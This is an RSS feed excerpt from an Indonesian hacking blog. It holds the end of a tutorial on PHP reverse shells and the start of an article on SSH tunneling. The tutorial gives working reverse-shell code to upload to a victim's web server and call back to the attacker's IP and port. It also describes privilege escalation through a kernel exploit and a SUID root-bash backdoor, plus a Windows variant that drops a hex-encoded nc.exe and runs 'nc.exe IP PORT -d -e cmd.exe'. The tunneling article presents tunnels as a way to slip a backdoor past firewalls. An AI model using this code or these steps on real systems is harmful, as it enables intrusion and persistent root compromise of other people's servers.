		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDERR</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">proc_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Like print, but does nothing if we've daemonised ourself</span>
<span style="color: #666666; font-style: italic;">// (I can't figure out how to redirect STDOUT like a proper daemon)</span>
<span style="color: #000000; font-weight: bold;">function</span> printit <span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$daemon</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$string</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER</p>
<p style="text-align: justify;">Tapi sebelumnya anda harus sudah menyiapkan &#8220;listener&#8221;-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari <a href="http://joncraton.org/files/nc111nt.zip">sini</a>. </p>
<p align="justify">Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png" alt="" title="rslinux" width="642" height="155" class="aligncenter size-full wp-image-2275" /></a><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png" alt="" title="rslinuxonwin" width="660" height="154" class="aligncenter size-full wp-image-2280" /></a></p>
<p style="text-align: justify;">Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.</p>
<p><b>Privilege Escalation</b></p>
<p style="text-align: justify;">Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.</p>
<p style="text-align: justify;">
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png" alt="" title="local_exploit1" width="683" height="804" class="aligncenter size-full wp-image-2289" /></a><br />
<b>Reverse Rootshell</b></p>
<p style="text-align: justify;">
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
</p>
<p style="text-align: justify;">
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png" alt="" title="local_exploit" width="577" height="504" class="aligncenter size-full wp-image-2291" /></a></p>
<p style="text-align: justify;">
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER.
</p>
<p style="text-align: justify;">
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah &#8220;#&#8221; yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah &#8220;$&#8221; yang berarti hanya normal shell sebagai apache.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png" alt="" title="rsrootvsrs" width="545" height="223" class="aligncenter size-full wp-image-2328" /></a><br />
<b>Reverse Shell di Windows</b></p>
<p style="text-align: justify;">
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
</p>
<p style="text-align: justify;">
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:</p>
<ul>
<li>download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.</li>
<li>upload: dibuat suatu file php untuk melakukan upload file ke webserver.</li>
<li>generate: script php akan membuat file nc.exe kemudian mengeksekusinya.</li>
</ul>
<p style="text-align: justify;">
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
</p>
<p style="text-align: justify;">
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
</p>
<p align="justify">
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span>
<span style="color: #000088;">$hex</span><span style="color: #339933;">=</span>
<span style="color: #0000ff;">&quot;310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;db6f866d13d454f702790059001907155de1ad6dda550407166900094317&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$nc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>strlen<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$nc</span><span style="color: #339933;">.=</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">hexdec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$nc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p align="justify">
Source code lengkap reverse shell php di windows bisa didownload di <a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rswin.zip">sini</a> lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png" alt="" title="gotrswin.php" width="496" height="640" class="aligncenter size-full wp-image-2306" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Kupas Tuntas SSH Tunneling</title>
		<link>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/</link>
		<comments>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 17:43:30 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2150</guid>
		<description><![CDATA[SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain. Apa itu Tunneling? Secara [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: justify;">SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain.</p>
<p style="text-align: justify;"><strong>Apa itu Tunneling?</strong></p>
<p style="text-align: justify;">Secara sederhana tunneling berarti mengirimkan data melalui koneksi lain yang sudah terbentuk. Kalau anda buka situs internet banking, pasti anda akan membukanya dengan URL berawalan &#8220;https&#8221;, yang sejatinya adalah data dalam protokol HTTP yang dikirimkan melalui koneksi dengan protokol SSL, atau &#8220;HTTP over SSL&#8221;, dalam bahasa gaulnya berarti HTTP digendong sama SSL.</p>
<p style="text-align: justify;">SSH dan SSL adalah dua contoh tunneling protocol, keduanya bisa dipakai untuk menggendong data dalam protokol apa saja (tidak hanya http). Hanya bedanya adalah pada SSL dibutuhkan public key certificate dalam format X.509 yang perlu diverifikasi melalui Certificate Authority resmi. SSH tidak memerlukan public key certificate, sehingga lebih sederhana dan lebih mudah dipakai.</p>
<p style="text-align: justify;"><span id="more-2150"></span></p>
<p style="text-align: justify;"><strong>Protocol Encapsulation</strong></p>
<p style="text-align: justify;">Dalam kasus https, data dalam protokol HTTP di-enkapsulasi (dibungkus) dalam protokol SSL sebagai payload. Enkapsulasi juga terjadi dalam layer model TCP/IP, yaitu data pada layer yang lebih atas menjadi payload dan di-enkapsulasi dengan protokol pada layer di bawahnya.</p>
<p style="text-align: justify;">Anda tentu tahu boneka lucu terbuat dari kayu dari Rusia bernama Matryoshka. Keunikan boneka ini adalah boneka yang berukuran kecil bisa dimasukkan ke dalam boneka yang lebih besar, dan boneka yang lebih besar juga bisa dimasukkan ke dalam boneka yang lebih besar lagi hingga pada akhirnya hanya ada satu boneka saja yang paling besar. Bila boneka yang paling besar itu dibuka, maka di dalamnya akan ada satu boneka yang lebih kecil, bila boneka tersebut dibuka, maka akan ditemukan boneka lagi yang lebih kecil, demikian seterusnya hingga boneka yang terkecil.</p>
<p style="text-align: justify;">Gambar di bawah ini sangat tepat menggambarkan apa itu protocol encapsulation.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg"><img class="aligncenter size-full wp-image-2173" title="tcp_ip_troska" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg" alt="" width="556" height="379" /></a></p>
<p style="text-align: justify;">Gambar di atas menggambarkan bagaimana data ketika dikirim dienkapsulasi dan dikirimkan melalui protokol yang berada pada layer di bawahnya. Pada gambar di atas bisa dikatakan bahwa email message tersebut dikirimkan dalam bentuk paket SMTP over TCP over IP over Ethernet. Jadi pada akhirnya semua data tersebut akan terkirim dalam bentuk paket ethernet.</p>
<p style="text-align: justify;">Dalam ilustrasi boneka matryoshka, pesan email adalah boneka matryoshka terkecil. Boneka ini dimasukkan dalam boneka matryoshka SMTP yang ukurannya lebih besar, kemudian boneka matryoshka SMTP ini dimasukkan dalam boneka matryoshka TCP, kemudian boneka matryoshka TCP ini dimasukkan dalam boneka matryoshka IP, dan akhirnya dimasukkan ke dalam boneka matryoshka ethernet yang berukuran paling besar.</p>
<p style="text-align: justify;">Jadi boneka matryoshka yang diterima lawan biacara adalah boneka matryoshka yang terbesar. Bila boneka ini dibuka, di dalamnya ada boneka Matryoshka IP yang lebih kecil, dan bila boneka ini juga dibuka, di dalamnya ada boneka matryoshka TCP yang semakin kecil ukurannya. Bila boneka matryoshka TCP ini dibuka, di dalamnya ada boneka matryoshka SMTP yang didalamnya ada matryoshka email message. Email message adalah boneka matryoshka terkecil.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Port Forwarding</strong></p>
<p style="text-align: justify;">Port forwarding atau port mapping pengalihan (redirection) koneksi dari suatu IP:Port ke IP:Port yang lain.  Ini artinya adalah semua koneksi yang ditujukan ke IP:Port asal akan dialihkan ke IP:Port tujuan seolah-olah client sedang menghubungi IP:Port tujuan secara langsung.</p>
<p style="text-align: justify;">Contoh: bila kita definisikan port forwarding 127.0.0.1:8080 dipetakan ke 192.168.10.10:80, artinya bila browser di arahkan ke url http://127.0.0.1:8080, maka request HTTP tersebut akan diteruskan ke 192.168.10.10:80. Jadi walaupun pada localhost (127.0.0.1) port 8080 tidak ada web server, namun web browser bisa membuka web pada url http://localhost:8080.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah contoh port forwarding dari web <a href="http://www.nakahara-informatics.com/iget/tutorials/remote_access/port_forwarding/">nakahara-informatics.com</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png"><img class="aligncenter size-full wp-image-2195" title="port-forwarding-contoh" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png" alt="" width="547" height="583" /></a>Pada port forwarding tersebut, didefinisikan sehingga klien dari dunia luar bisa mengakses service yang ada pada jaringan internal. Port forwarding yang didefinisikan adalah:</p>
<ul>
<li>64.130.31.59:10004 &#8211;&gt; 192.168.1.103:22</li>
<p>Artinya untuk SSH ke host 192.168.1.103, maka client harus ssh ke IP 64.130.31.59 port 10004.</p>
<li>64.130.31.59:10001 &#8211;&gt; 192.168.1.100:22</li>
<p>Artinya untuk SSH ke host 192.168.1.100, maka client harus ssh ke IP 64.130.31.59 port 10001.</p>
<li>64.130.31.59:8080 &#8211;&gt; 192.168.1.102:80</li>
<p>Artinya untuk mengakses halaman web di host 192.168.1.102, maka url yang harus dibuka di browser adalah http://64.130.31.59:8080</ul>
<p style="text-align: justify;">
<p style="text-align: justify;">Port forwarding pada ssh, mirip dengan port forwarding pada gambar di atas, namun ada sedikit perbedaan. Pada port forward gambar di atas, titik koneksi masuk dan keluar sama, artinya koneksi masuk ke IP dan port tertentu, dan koneksi tersebut akan diforward ke tempat lain dari titik yang sama juga. Sedangkan port forwarding pada ssh, titik keluarnya berbeda dengan titik masuknya. Agar lebih jelas, silakan lihat gambar di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png"><img class="aligncenter size-full wp-image-2207" title="port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png" alt="" width="398" height="332" /></a>Pada gambar di atas pada bagian atas, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik itu juga. Ini adalah tipikal port forwarding di router/proxy. Sedangkan pada gambar di bawahnya, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik lain di ujung sebelah kanan. Kotak panjang yang menghubungkan dua titik berwarna oranye tersebut menggambarkan koneksi ssh. Koneksi yang masuk akan diforward dari ujung koneksi ssh, bukan dari titik masuknya.</p>
<p style="text-align: justify;"><strong>Konsep SSH Tunneling</strong></p>
<p style="text-align: justify;">SSH adalah protokol yang multiguna, selain untuk menggantikan telnet, SSH juga mendukung fitur tunneling, port forwarding, download/upload file (Secure FTP), SOCKS proxy dsb. Semua fitur tersebut dibungkus dengan enkripsi sehingga data yang lewat melalui protokol ini aman dari jangkauan hacker.</p>
<p style="text-align: justify;">Dalam ssh tunneling, data yang dikirimkan melalui koneksi ssh akan di-enkapsulasi (dibungkus) dalam paket SSH seperti pada gambar di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg"><img class="aligncenter size-full wp-image-2177" title="matrioska_terbuka" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg" alt="" width="261" height="228" /></a></p>
<p style="text-align: justify;">Selain enkapsulasi paket, dalam ssh tunnel juga dibutuhkan port forwarding. Port forwarding dalam SSH tunnel ada 3 jenis:</p>
<ul>
<li>Local Port Forwarding</li>
<li>Remote Port Forwarding</li>
<li>Dynamic Port Forwarding</li>
</ul>
<p style="text-align: justify;">Perhatikan gambar di bawah ini untuk memahami perbedaan antara local port forwarding dan remote port forwarding.</p>
